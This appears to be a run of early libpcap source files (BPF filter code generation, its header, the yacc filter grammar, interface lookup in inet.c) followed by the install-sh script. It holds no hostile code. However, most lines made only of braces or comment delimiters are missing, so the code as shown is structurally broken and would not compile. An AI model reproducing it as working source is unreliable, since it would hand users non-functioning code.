      s->next = new_stmt(BPF_ST);
      s->next->s.k = regno;
      a->s = s;
      a->regno = regno;
      return a;
struct arth *
gen_loadi(val)
      int val;
      struct arth *a;
      struct slist *s;
      int reg;
      a = (struct arth *)newchunk(sizeof(*a));
      reg = alloc_reg();
      s = new_stmt(BPF_LD|BPF_IMM);
      s->s.k = val;
      s->next = new_stmt(BPF_ST);
      s->next->s.k = reg;
      a->s = s;
      a->regno = reg;
      return a;
struct arth *
gen_neg(a)
      struct arth *a;
      struct slist *s;
      s = xfer_to_a(a);
      sappend(a->s, s);
      s = new_stmt(BPF_ALU|BPF_NEG);
      s->s.k = 0;
      sappend(a->s, s);
      s = new_stmt(BPF_ST);
      s->s.k = a->regno;
      sappend(a->s, s);
      return a;
struct arth *
gen_arth(code, a0, a1)
      int code;
      struct arth *a0, *a1;
      struct slist *s0, *s1, *s2;
      s0 = xfer_to_x(a1);
      s1 = xfer_to_a(a0);
      s2 = new_stmt(BPF_ALU|BPF_X|code);
      sappend(s1, s2);
      sappend(s0, s1);
      sappend(a1->s, s0);
      sappend(a0->s, a1->s);
      free_reg(a1->regno);
      s0 = new_stmt(BPF_ST);
      a0->regno = s0->s.k = alloc_reg();
      sappend(a0->s, s0);
      return a0;
 * Here we handle simple allocation of the scratch registers.
 * If too many registers are alloc'd, the allocator punts.
static int regused[BPF_MEMWORDS];
static int curreg;
 * Return the next free register.
static int
alloc_reg()
      int n = BPF_MEMWORDS;
      while (--n >= 0) {
            if (regused[curreg])
                  curreg = (curreg + 1) % BPF_MEMWORDS;
            else {
                  regused[curreg] = 1;
                  return curreg;
      bpf_error("too many registers needed to evaluate expression");
      /* NOTREACHED */
 * Return a register to the table so it can
 * be used later.
static void
free_reg(n)
      int n;
      regused[n] = 0;
static struct block *
gen_len(jmp, n)
      int jmp, n;
      struct slist *s;
      struct block *b;
      s = new_stmt(BPF_LD|BPF_LEN);
      b = new_block(JMP(jmp));
      b->stmts = s;
      b->s.k = n;
      return b;
struct block *
gen_greater(n)
      int n;
      return gen_len(BPF_JGE, n);
struct block *
gen_less(n)
      int n;
      struct block *b;
      b = gen_len(BPF_JGT, n);
      gen_not(b);
      return b;
struct block *
gen_byteop(op, idx, val)
      int op, idx, val;
      struct block *b;
      struct slist *s;
      switch (op) {
      default:
            abort();
      case '=':
            return gen_cmp((u_int)idx, BPF_B, (bpf_int32)val);
      case '<':
            b = gen_cmp((u_int)idx, BPF_B, (bpf_int32)val);
            b->s.code = JMP(BPF_JGE);
            gen_not(b);
            return b;
      case '>':
            b = gen_cmp((u_int)idx, BPF_B, (bpf_int32)val);
            b->s.code = JMP(BPF_JGT);
            return b;
      case '|':
            s = new_stmt(BPF_ALU|BPF_OR|BPF_K);
            break;
      case '&':
            s = new_stmt(BPF_ALU|BPF_AND|BPF_K);
            break;
      s->s.k = val;
      b = new_block(JMP(BPF_JEQ));
      b->stmts = s;
      gen_not(b);
      return b;
struct block *
gen_broadcast(proto)
      int proto;
      bpf_u_int32 hostmask;
      struct block *b0, *b1, *b2;
      static u_char ebroadcast[] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
      switch (proto) {
      case Q_DEFAULT:
      case Q_LINK:
            if (linktype == DLT_EN10MB)
                  return gen_ehostop(ebroadcast, Q_DST);
            if (linktype == DLT_FDDI)
                  return gen_fhostop(ebroadcast, Q_DST);
            bpf_error("not a broadcast link");
            break;
      case Q_IP:
            b0 = gen_linktype(ETHERTYPE_IP);
            hostmask = ~netmask;
            b1 = gen_mcmp(off_nl + 16, BPF_W, (bpf_int32)0, hostmask);
            b2 = gen_mcmp(off_nl + 16, BPF_W,
                        (bpf_int32)(~0 & hostmask), hostmask);
            gen_or(b1, b2);
            gen_and(b0, b2);
            return b2;
      bpf_error("only ether/ip broadcast filters supported");
struct block *
gen_multicast(proto)
      int proto;
      register struct block *b0, *b1;
      register struct slist *s;
      switch (proto) {
      case Q_DEFAULT:
      case Q_LINK:
            if (linktype == DLT_EN10MB) {
                  /* ether[0] & 1 != 0 */
                  s = new_stmt(BPF_LD|BPF_B|BPF_ABS);
                  s->s.k = 0;
                  b0 = new_block(JMP(BPF_JSET));
                  b0->s.k = 1;
                  b0->stmts = s;
                  return b0;
            if (linktype == DLT_FDDI) {
                  /* XXX TEST THIS: MIGHT NOT PORT PROPERLY XXX */
                  /* fddi[1] & 1 != 0 */
                  s = new_stmt(BPF_LD|BPF_B|BPF_ABS);
                  s->s.k = 1;
                  b0 = new_block(JMP(BPF_JSET));
                  b0->s.k = 1;
                  b0->stmts = s;
                  return b0;
            /* Link not known to support multicasts */
            break;
      case Q_IP:
            b0 = gen_linktype(ETHERTYPE_IP);
            b1 = gen_cmp(off_nl + 16, BPF_B, (bpf_int32)224);
            b1->s.code = JMP(BPF_JGE);
            gen_and(b0, b1);
            return b1;
      bpf_error("only IP multicast filters supported on ethernet/FDDI");
 * generate command for inbound/outbound.  It's here so we can
 * make it link-type specific.  'dir' = 0 implies "inbound",
 * = 1 implies "outbound".
struct block *
gen_inbound(dir)
      int dir;
      register struct block *b0;
      b0 = gen_relation(BPF_JEQ,
                    gen_load(Q_LINK, gen_loadi(0), 1),
                    gen_loadi(0),
                    dir);
      return (b0);
 * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 * @(#) $Header: gencode.h,v 1.36 96/07/17 00:11:34 leres Exp $ (LBL)
/*XXX*/
#include "gnuc.h"
/* Address qualifiers. */
#define Q_HOST            1
#define Q_NET       2
#define Q_PORT            3
#define Q_GATEWAY      4
#define Q_PROTO           5
/* Protocol qualifiers. */
#define Q_LINK            1
#define Q_IP            2
#define Q_ARP       3
#define Q_RARP            4
#define Q_TCP       5
#define Q_UDP       6
#define Q_ICMP            7
#define Q_IGMP            8
#define Q_IGRP            9
#define      Q_ATALK           10
#define      Q_DECNET    11
#define      Q_LAT       12
#define Q_SCA       13
#define      Q_MOPRC           14
#define      Q_MOPDL           15
/* Directional qualifiers. */
#define Q_SRC       1
#define Q_DST       2
#define Q_OR            3
#define Q_AND       4
#define Q_DEFAULT      0
#define Q_UNDEF           255
struct stmt {
      int code;
      bpf_int32 k;
struct slist {
      struct stmt s;
      struct slist *next;
 * A bit vector to represent definition sets.  We assume TOT_REGISTERS
 * is smaller than 8*sizeof(atomset).
typedef bpf_u_int32 atomset;
#define ATOMMASK(n) (1 << (n))
#define ATOMELEM(d, n) (d & ATOMMASK(n))
 * An unbounded set.
typedef bpf_u_int32 *uset;
 * Total number of atomic entities, including accumulator (A) and index (X).
 * We treat all these guys similarly during flow analysis.
#define N_ATOMS (BPF_MEMWORDS+2)
struct edge {
      int id;
      int code;
      uset edom;
      struct block *succ;
      struct block *pred;
      struct edge *next;      /* link list of incoming edges for a node */
struct block {
      int id;
      struct slist *stmts;      /* side effect stmts */
      struct stmt s;           /* branch stmt */
      int mark;
      int longjt;           /* jt branch requires long jump */
      int longjf;           /* jf branch requires long jump */
      int level;
      int offset;
      int sense;
      struct edge et;
      struct edge ef;
      struct block *head;
      struct block *link;      /* link field used by optimizer */
      uset dom;
      uset closure;
      struct edge *in_edges;
      atomset def, kill;
      atomset in_use;
      atomset out_use;
      int oval;
      int val[N_ATOMS];
struct arth {
      struct block *b;      /* protocol checks */
      struct slist *s;      /* stmt list */
      int regno;            /* virtual register number of result */
struct qual {
      unsigned char addr;
      unsigned char proto;
      unsigned char dir;
      unsigned char pad;
struct arth *gen_loadi(int);
struct arth *gen_load(int, struct arth *, int);
struct arth *gen_loadlen(void);
struct arth *gen_neg(struct arth *);
struct arth *gen_arth(int, struct arth *, struct arth *);
void gen_and(struct block *, struct block *);
void gen_or(struct block *, struct block *);
void gen_not(struct block *);
struct block *gen_scode(const char *, struct qual);
struct block *gen_ecode(const u_char *, struct qual);
struct block *gen_mcode(const char *, const char *, int, struct qual);
struct block *gen_ncode(const char *, bpf_u_int32, struct qual);
struct block *gen_proto_abbrev(int);
struct block *gen_relation(int, struct arth *, struct arth *, int);
struct block *gen_less(int);
struct block *gen_greater(int);
struct block *gen_byteop(int, int, int);
struct block *gen_broadcast(int);
struct block *gen_multicast(int);
struct block *gen_inbound(int);
void bpf_optimize(struct block **);
#if __STDC__
__dead void bpf_error(const char *, ...)
    __attribute__((volatile, format (printf, 1, 2)));
#endif
void finish_parse(struct block *);
char *sdup(const char *);
struct bpf_insn *icode_to_fcode(struct block *, int *);
int pcap_parse(void);
void lex_init(char *);
void sappend(struct slist *, struct slist *);
/* XXX */
#define JT(b)  ((b)->et.succ)
#define JF(b)  ((b)->ef.succ)
 * Copyright (c) 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: grammar.y,v 1.56 96/11/02 21:54:55 leres Exp $ (LBL)";
#endif
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#if __STDC__
struct mbuf;
struct rtentry;
#endif
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <stdio.h>
#include "pcap-int.h"
#include "gencode.h"
#include <pcap-namedb.h>
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#define QSET(q, p, d, a) (q).proto = (p),\
                   (q).dir = (d),\
                   (q).addr = (a)
int n_errors = 0;
static struct qual qerr = { Q_UNDEF, Q_UNDEF, Q_UNDEF, Q_UNDEF };
static void
yyerror(char *msg)
      ++n_errors;
      bpf_error("%s", msg);
      /* NOTREACHED */
#ifndef YYBISON
int yyparse(void);
pcap_parse()
      return (yyparse());
#endif
%union {
      int i;
      bpf_u_int32 h;
      u_char *e;
      char *s;
      struct stmt *stmt;
      struct arth *a;
      struct {
            struct qual q;
            struct block *b;
      } blk;
      struct block *rblk;
%type <blk>      expr id nid pid term rterm qid
%type <blk>      head
%type <i>      pqual dqual aqual ndaqual
%type <a>      arth narth
%type <i>      byteop pname pnum relop irelop
%type <blk>      and or paren not null prog
%type <rblk>      other
%token  DST SRC HOST GATEWAY
%token  NET MASK PORT LESS GREATER PROTO BYTE
%token  ARP RARP IP TCP UDP ICMP IGMP IGRP
%token  ATALK DECNET LAT SCA MOPRC MOPDL
%token  TK_BROADCAST TK_MULTICAST
%token  NUM INBOUND OUTBOUND
%token  LINK
%token      GEQ LEQ NEQ
%token      ID EID HID
%token      LSH RSH
%token  LEN
%type <s> ID
%type <e> EID
%type <s> HID
%type <i> NUM
%left OR AND
%nonassoc  '!'
%left '|'
%left '&'
%left LSH RSH
%left '+' '-'
%left '*' '/'
%nonassoc UMINUS
prog:   null expr
      finish_parse($2.b);
      | null
null:   /* null */           { $$.q = qerr; }
expr:   term
      | expr and term          { gen_and($1.b, $3.b); $$ = $3; }
      | expr and id            { gen_and($1.b, $3.b); $$ = $3; }
      | expr or term           { gen_or($1.b, $3.b); $$ = $3; }
      | expr or id       { gen_or($1.b, $3.b); $$ = $3; }
and:    AND             { $$ = $<blk>0; }
or:     OR              { $$ = $<blk>0; }
id:     nid
      | pnum                  { $$.b = gen_ncode(NULL, (bpf_u_int32)$1,
                                       $$.q = $<blk>0.q); }
      | paren pid ')'         { $$ = $2; }
nid:    ID              { $$.b = gen_scode($1, $$.q = $<blk>0.q); }
      | HID '/' NUM           { $$.b = gen_mcode($1, NULL, $3,
                            $$.q = $<blk>0.q); }
      | HID MASK HID          { $$.b = gen_mcode($1, $3, 0,
                            $$.q = $<blk>0.q); }
      | HID             {
                          /* Decide how to parse HID based on proto */
                          $$.q = $<blk>0.q;
                          switch ($$.q.proto) {
                          case Q_DECNET:
                              $$.b = gen_ncode($1, 0, $$.q);
                              break;
                          default:
                              $$.b = gen_ncode($1, 0, $$.q);
                              break;
                          }
                        }
      | EID             { $$.b = gen_ecode($1, $$.q = $<blk>0.q); }
      | not id          { gen_not($2.b); $$ = $2; }
not:    '!'             { $$ = $<blk>0; }
paren:        '('               { $$ = $<blk>0; }
pid:    nid
      | qid and id            { gen_and($1.b, $3.b); $$ = $3; }
      | qid or id       { gen_or($1.b, $3.b); $$ = $3; }
qid:    pnum                  { $$.b = gen_ncode(NULL, (bpf_u_int32)$1,
                                       $$.q = $<blk>0.q); }
      | pid
term:   rterm
      | not term        { gen_not($2.b); $$ = $2; }
head:   pqual dqual aqual { QSET($$.q, $1, $2, $3); }
      | pqual dqual       { QSET($$.q, $1, $2, Q_DEFAULT); }
      | pqual aqual       { QSET($$.q, $1, Q_DEFAULT, $2); }
      | pqual PROTO       { QSET($$.q, $1, Q_DEFAULT, Q_PROTO); }
      | pqual ndaqual           { QSET($$.q, $1, Q_DEFAULT, $2); }
rterm:        head id           { $$ = $2; }
      | paren expr ')'   { $$.b = $2.b; $$.q = $1.q; }
      | pname             { $$.b = gen_proto_abbrev($1); $$.q = qerr; }
      | arth relop arth      { $$.b = gen_relation($2, $1, $3, 0);
                          $$.q = qerr; }
      | arth irelop arth      { $$.b = gen_relation($2, $1, $3, 1);
                          $$.q = qerr; }
      | other             { $$.b = $1; $$.q = qerr; }
/* protocol level qualifiers */
pqual:        pname
      |                 { $$ = Q_DEFAULT; }
/* 'direction' qualifiers */
dqual:        SRC               { $$ = Q_SRC; }
      | DST             { $$ = Q_DST; }
      | SRC OR DST            { $$ = Q_OR; }
      | DST OR SRC            { $$ = Q_OR; }
      | SRC AND DST           { $$ = Q_AND; }
      | DST AND SRC           { $$ = Q_AND; }
/* address type qualifiers */
aqual:        HOST              { $$ = Q_HOST; }
      | NET             { $$ = Q_NET; }
      | PORT                  { $$ = Q_PORT; }
/* non-directional address type qualifiers */
ndaqual:  GATEWAY           { $$ = Q_GATEWAY; }
pname:        LINK              { $$ = Q_LINK; }
      | IP              { $$ = Q_IP; }
      | ARP             { $$ = Q_ARP; }
      | RARP                  { $$ = Q_RARP; }
      | TCP             { $$ = Q_TCP; }
      | UDP             { $$ = Q_UDP; }
      | ICMP                  { $$ = Q_ICMP; }
      | IGMP                  { $$ = Q_IGMP; }
      | IGRP                  { $$ = Q_IGRP; }
      | ATALK             { $$ = Q_ATALK; }
      | DECNET            { $$ = Q_DECNET; }
      | LAT             { $$ = Q_LAT; }
      | SCA             { $$ = Q_SCA; }
      | MOPDL             { $$ = Q_MOPDL; }
      | MOPRC             { $$ = Q_MOPRC; }
other:        pqual TK_BROADCAST      { $$ = gen_broadcast($1); }
      | pqual TK_MULTICAST      { $$ = gen_multicast($1); }
      | LESS NUM         { $$ = gen_less($2); }
      | GREATER NUM       { $$ = gen_greater($2); }
      | BYTE NUM byteop NUM   { $$ = gen_byteop($3, $2, $4); }
      | INBOUND           { $$ = gen_inbound(0); }
      | OUTBOUND          { $$ = gen_inbound(1); }
relop:        '>'               { $$ = BPF_JGT; }
      | GEQ             { $$ = BPF_JGE; }
      | '='             { $$ = BPF_JEQ; }
irelop:       LEQ               { $$ = BPF_JGT; }
      | '<'             { $$ = BPF_JGE; }
      | NEQ             { $$ = BPF_JEQ; }
arth:   pnum                  { $$ = gen_loadi($1); }
      | narth
narth:        pname '[' arth ']'          { $$ = gen_load($1, $3, 1); }
      | pname '[' arth ':' NUM ']'   { $$ = gen_load($1, $3, $5); }
      | arth '+' arth                { $$ = gen_arth(BPF_ADD, $1, $3); }
      | arth '-' arth                { $$ = gen_arth(BPF_SUB, $1, $3); }
      | arth '*' arth                { $$ = gen_arth(BPF_MUL, $1, $3); }
      | arth '/' arth                { $$ = gen_arth(BPF_DIV, $1, $3); }
      | arth '&' arth                { $$ = gen_arth(BPF_AND, $1, $3); }
      | arth '|' arth                { $$ = gen_arth(BPF_OR, $1, $3); }
      | arth LSH arth                { $$ = gen_arth(BPF_LSH, $1, $3); }
      | arth RSH arth                { $$ = gen_arth(BPF_RSH, $1, $3); }
      | '-' arth %prec UMINUS            { $$ = gen_neg($2); }
      | paren narth ')'         { $$ = $2; }
      | LEN                   { $$ = gen_loadlen(); }
byteop:       '&'               { $$ = '&'; }
      | '|'             { $$ = '|'; }
      | '<'             { $$ = '<'; }
      | '>'             { $$ = '>'; }
      | '='             { $$ = '='; }
pnum:   NUM
      | paren pnum ')'   { $$ = $2; }
 * Copyright (c) 1994, 1995, 1996, 1997, 1998
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *    This product includes software developed by the Computer Systems
 *      Engineering Group at Lawrence Berkeley Laboratory.
 * 4. Neither the name of the University nor of the Laboratory may be used
 *    to endorse or promote products derived from this software without
 *    specific prior written permission.
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: inet.c,v 1.22 98/01/30 17:29:34 leres Exp $ (LBL)";
#endif
#include <sys/param.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#ifdef HAVE_SYS_SOCKIO_H
#include <sys/sockio.h>
#endif
#include <sys/time.h>                        /* concession to AIX */
#if __STDC__
struct mbuf;
struct rtentry;
#endif
#include <net/if.h>
#include <netinet/in.h>
#include <ctype.h>
#include <errno.h>
#include <memory.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "pcap-int.h"
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
/* Not all systems have IFF_LOOPBACK */
#ifdef IFF_LOOPBACK
#define ISLOOPBACK(p) ((p)->ifr_flags & IFF_LOOPBACK)
#else
#define ISLOOPBACK(p) ((p)->ifr_name[0] == 'l' && (p)->ifr_name[1] == 'o' && \
    (isdigit((p)->ifr_name[2]) || (p)->ifr_name[2] == '\0'))
#endif
 * Return the name of a network interface attached to the system, or NULL
 * if none can be found.  The interface must be configured up; the
 * lowest unit number is preferred; loopback is ignored.
char *
pcap_lookupdev(errbuf)
      register char *errbuf;
      register int fd, minunit, n;
      register char *cp;
      register struct ifreq *ifrp, *ifend, *ifnext, *mp;
      struct ifconf ifc;
      struct ifreq ibuf[16], ifr;
      static char device[sizeof(ifrp->ifr_name) + 1];
      fd = socket(AF_INET, SOCK_DGRAM, 0);
      if (fd < 0) {
            (void)sprintf(errbuf, "socket: %s", pcap_strerror(errno));
            return (NULL);
      ifc.ifc_len = sizeof ibuf;
      ifc.ifc_buf = (caddr_t)ibuf;
      memset((char *)ibuf, 0, sizeof(ibuf));
      if (ioctl(fd, SIOCGIFCONF, (char *)&ifc) < 0 ||
          ifc.ifc_len < sizeof(struct ifreq)) {
            (void)sprintf(errbuf, "SIOCGIFCONF: %s", pcap_strerror(errno));
            (void)close(fd);
            return (NULL);
      ifrp = ibuf;
      ifend = (struct ifreq *)((char *)ibuf + ifc.ifc_len);
      mp = NULL;
      minunit = 666;
      for (; ifrp < ifend; ifrp = ifnext) {
#ifdef HAVE_SOCKADDR_SA_LEN
            n = ifrp->ifr_addr.sa_len + sizeof(ifrp->ifr_name);
            if (n < sizeof(*ifrp))
                  ifnext = ifrp + 1;
            else
                  ifnext = (struct ifreq *)((char *)ifrp + n);
            if (ifrp->ifr_addr.sa_family != AF_INET)
                  continue;
#else
            ifnext = ifrp + 1;
#endif
            /*
             * Need a template to preserve address info that is
             * used below to locate the next entry.  (Otherwise,
             * SIOCGIFFLAGS stomps over it because the requests
             * are returned in a union.)
             */
            strncpy(ifr.ifr_name, ifrp->ifr_name, sizeof(ifr.ifr_name));
            if (ioctl(fd, SIOCGIFFLAGS, (char *)&ifr) < 0) {
                  if (errno == ENXIO)
                        continue;
                  (void)sprintf(errbuf, "SIOCGIFFLAGS: %.*s: %s",
                      (int)sizeof(ifr.ifr_name), ifr.ifr_name,
                      pcap_strerror(errno));
                  (void)close(fd);
                  return (NULL);
            /* Must be up and not the loopback */
            if ((ifr.ifr_flags & IFF_UP) == 0 || ISLOOPBACK(&ifr))
                  continue;
            for (cp = ifrp->ifr_name; !isdigit(*cp); ++cp)
                  continue;
            n = atoi(cp);
            if (n < minunit) {
                  minunit = n;
                  mp = ifrp;
      (void)close(fd);
      if (mp == NULL) {
            (void)strcpy(errbuf, "no suitable device found");
            return (NULL);
      (void)strncpy(device, mp->ifr_name, sizeof(device) - 1);
      device[sizeof(device) - 1] = '\0';
      return (device);
pcap_lookupnet(device, netp, maskp, errbuf)
      register char *device;
      register bpf_u_int32 *netp, *maskp;
      register char *errbuf;
      register int fd;
      register struct sockaddr_in *sin;
      struct ifreq ifr;
      fd = socket(AF_INET, SOCK_DGRAM, 0);
      if (fd < 0) {
            (void)sprintf(errbuf, "socket: %s", pcap_strerror(errno));
            return (-1);
      memset(&ifr, 0, sizeof(ifr));
#ifdef linux
      /* XXX Work around Linux kernel bug */
      ifr.ifr_addr.sa_family = AF_INET;
#endif
      (void)strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
      if (ioctl(fd, SIOCGIFADDR, (char *)&ifr) < 0) {
            (void)sprintf(errbuf, "SIOCGIFADDR: %s: %s",
                device, pcap_strerror(errno));
            (void)close(fd);
            return (-1);
      sin = (struct sockaddr_in *)&ifr.ifr_addr;
      *netp = sin->sin_addr.s_addr;
      if (ioctl(fd, SIOCGIFNETMASK, (char *)&ifr) < 0) {
            (void)sprintf(errbuf, "SIOCGIFNETMASK: %s: %s",
                device, pcap_strerror(errno));
            (void)close(fd);
            return (-1);
      (void)close(fd);
      *maskp = sin->sin_addr.s_addr;
      if (*maskp == 0) {
            if (IN_CLASSA(*netp))
                  *maskp = IN_CLASSA_NET;
            else if (IN_CLASSB(*netp))
                  *maskp = IN_CLASSB_NET;
            else if (IN_CLASSC(*netp))
                  *maskp = IN_CLASSC_NET;
            else {
                  (void)sprintf(errbuf, "inet class for 0x%x unknown",
                      *netp);
                  return (-1);
      *netp &= *maskp;
      return (0);
#! /bin/sh
# install - install a program, script, or datafile
# This comes from X11R5 (mit/util/scripts/install.sh).
# Copyright 1991 by the Massachusetts Institute of Technology
# Permission to use, copy, modify, distribute, and sell this software and its
# documentation for any purpose is hereby granted without fee, provided that
# the above copyright notice appear in all copies and that both that
# copyright notice and this permission notice appear in supporting
# documentation, and that the name of M.I.T. not be used in advertising or
# publicity pertaining to distribution of the software without specific,
# written prior permission.  M.I.T. makes no representations about the
# suitability of this software for any purpose.  It is provided "as is"
# without express or implied warranty.
# Calling this script install-sh is preferred over install.sh, to prevent
# `make' implicit rules from creating a file called install from it
# when there is no Makefile.
# This script is compatible with the BSD install script, but was written
# from scratch.  It can only install one file at a time, a restriction
# shared with many OS's install programs.
# set DOITPROG to echo to test this script
# Don't use :- since 4.3BSD and earlier shells don't like it.
doit="${DOITPROG-}"
# put in absolute paths if you don't have them in your path; or use env. vars.
mvprog="${MVPROG-mv}"
cpprog="${CPPROG-cp}"
chmodprog="${CHMODPROG-chmod}"
chownprog="${CHOWNPROG-chown}"
chgrpprog="${CHGRPPROG-chgrp}"
stripprog="${STRIPPROG-strip}"
rmprog="${RMPROG-rm}"
mkdirprog="${MKDIRPROG-mkdir}"
transformbasename=""
transform_arg=""
instcmd="$mvprog"
chmodcmd="$chmodprog 0755"
chowncmd=""
chgrpcmd=""
stripcmd=""
rmcmd="$rmprog -f"
mvcmd="$mvprog"
src=""
dst=""
dir_arg=""
while [ x"$1" != x ]; do
    case $1 in
      -c) instcmd="$cpprog"
          shift
          continue;;
      -d) dir_arg=true
          shift
          continue;;
      -m) chmodcmd="$chmodprog $2"
          shift
          shift
          continue;;
      -o) chowncmd="$chownprog $2"
          shift
          shift
          continue;;
      -g) chgrpcmd="$chgrpprog $2"
          shift
          shift
          continue;;
      -s) stripcmd="$stripprog"
          shift
          continue;;
      -t=*) transformarg=`echo $1 | sed 's/-t=//'`
          shift
          continue;;
      -b=*) transformbasename=`echo $1 | sed 's/-b=//'`
          shift
          continue;;
      *)  if [ x"$src" = x ]
          then
            src=$1
          else
            # this colon is to work around a 386BSD /bin/sh bug
            dst=$1
          fi
          shift
          continue;;
    esac
done
if [ x"$src" = x ]
then
      echo "install:      no input file specified"
      exit 1
else
      true
if [ x"$dir_arg" != x ]; then
      dst=$src
      src=""
      if [ -d $dst ]; then
            instcmd=:
      else
            instcmd=mkdir
else
# Waiting for this to be detected by the "$instcmd $src $dsttmp" command
# might cause directories to be created, which would be especially bad
# if $src (and thus $dsttmp) contains '*'.
      if [ -f $src -o -d $src ]
      then
            true
      else
            echo "install:  $src does not exist"
            exit 1
      if [ x"$dst" = x ]
      then
            echo "install:      no destination specified"
            exit 1
      else
            true
# If destination is a directory, append the input filename; if your system
# does not like double slashes in filenames, you may need to add some logic
      if [ -d $dst ]
      then
            dst="$dst"/`basename $src`
      else
            true
## this sed command emulates the dirname command
dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'`
# Make sure that the destination directory exists.
#  this part is taken from Noah Friedman's mkinstalldirs script
# Skip lots of stat calls in the usual case.
if [ ! -d "$dstdir" ]; then
defaultIFS='     
IFS="${IFS-${defaultIFS}}"
oIFS="${IFS}"
# Some sh's can't handle IFS=/ for some reason.
IFS='%'
set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'`
IFS="${oIFS}"
pathcomp=''
while [ $# -ne 0 ] ; do
      pathcomp="${pathcomp}${1}"
      shift
      if [ ! -d "${pathcomp}" ] ;
        then
            $mkdirprog "${pathcomp}"
      else
            true
      pathcomp="${pathcomp}/"
done
if [ x"$dir_arg" != x ]
then
      $doit $instcmd $dst &&
      if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi &&
      if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi &&
      if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi &&
      if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi
else
# If we're going to rename the final executable, determine the name now.
      if [ x"$transformarg" = x ]
      then
            dstfile=`basename $dst`
      else
            dstfile=`basename $dst $transformbasename |
                  sed $transformarg`$transformbasename
# don't allow the sed command to completely eliminate the filename
      if [ x"$dstfile" = x ]
      then
            dstfile=`basename $dst`
      else
            true
# Make a temp file name in the proper directory.
      dsttmp=$dstdir/#inst.$$#
# Move or copy the file name to the temp name
      $doit $instcmd $src $dsttmp &&
      trap "rm -f ${dsttmp}" 0 &&
# and set any options; do chmod last to preserve setuid bits
# If any of these fail, we abort the whole thing.  If we want to
# ignore errors from any of these, just make sure not to ignore
# errors from the above "$doit $instcmd $src $dsttmp" command.
      if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi &&
      if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi &&
      if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi &&
      if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi &&
# Now rename the file to the real destination.
      $doit $rmcmd -f $dstdir/$dstfile &&
